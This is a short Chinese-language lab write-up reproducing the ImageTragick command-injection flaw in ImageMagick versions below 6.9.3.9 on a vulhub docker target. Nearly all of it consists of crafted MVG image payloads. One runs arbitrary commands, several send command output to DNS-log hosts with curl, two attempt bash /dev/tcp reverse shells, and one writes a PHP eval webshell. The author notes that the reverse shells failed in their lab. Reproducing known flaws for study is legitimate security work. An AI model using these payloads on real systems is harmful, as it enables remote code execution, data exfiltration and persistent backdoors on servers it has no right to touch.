0x00 实验环境
攻击机:Win 10
靶场:docker拉的vulhub靶场
0x01 影响版本
对版本低于6.9.3.9的ImageMagick有影响
0x02 漏洞复现
(1)新建一个图片,内容为:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg"|id")‘
pop graphic-context
(2)id可更换为不同的命令,通过点击提交查询即可
(3)靶机开启监听:
(5)尝试使用以下payload均未反弹shell成功:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg"|curl `id`.163.kempru.wyzxxz.cn")‘
pop graphic-context
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 ‘|curl xxxxx.dnslog.link/?whoami=`whoami`‘
pop graphic-context
push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100 "|bash -i >& /dev/tcp/【ip】/2333 0>&1"
pop graphic-context
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg"|bash -i >& /dev/tcp/xxx.xxx.net/2015 0>&1")‘
(4)由于环境限制,导致无法反弹shell,写shell也存在过滤,故不再过多演示:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg"|echo "<?php eval($_[pass]);"> /root/1.txt")‘
pop graphic-context